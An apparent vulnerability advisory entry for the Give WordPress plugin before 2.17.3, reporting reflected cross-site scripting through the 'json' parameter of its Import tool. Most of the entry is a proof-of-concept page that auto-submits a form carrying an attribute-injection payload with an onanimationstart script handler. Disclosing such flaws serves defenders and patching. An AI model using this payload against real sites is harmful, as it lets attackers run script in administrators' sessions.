Lucene search

K
wpexploitJrXnmWPEX-ID:B0E551AF-087B-43E7-BDB7-11D7F639028A
HistoryJan 18, 2022 - 12:00 a.m.

Give < 2.17.3 - Reflected Cross-Site Scripting via Import Tool

2022-01-1800:00:00
JrXnm
194
reflected cross-site scripting
import tool
give 2.17.3
importer-type
security exploit

EPSS

0.001

Percentile

31.8%

The plugin does not escape the json parameter before outputting it back in an attribute in the Import admin dashboard, leading to a Reflected Cross-Site Scripting

<html>
  <body>
    <form id="hack" action="https://example.com/wp-admin/edit.php?post_type=give_forms&page=give-tools&tab=import&importer-type=import_core_setting" method="POST">
      <input type="hidden" name="json" value='" style="animation-name:rotation" onanimationstart="alert(/XSS/)" t="' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>

EPSS

0.001

Percentile

31.8%

Related for WPEX-ID:B0E551AF-087B-43E7-BDB7-11D7F639028A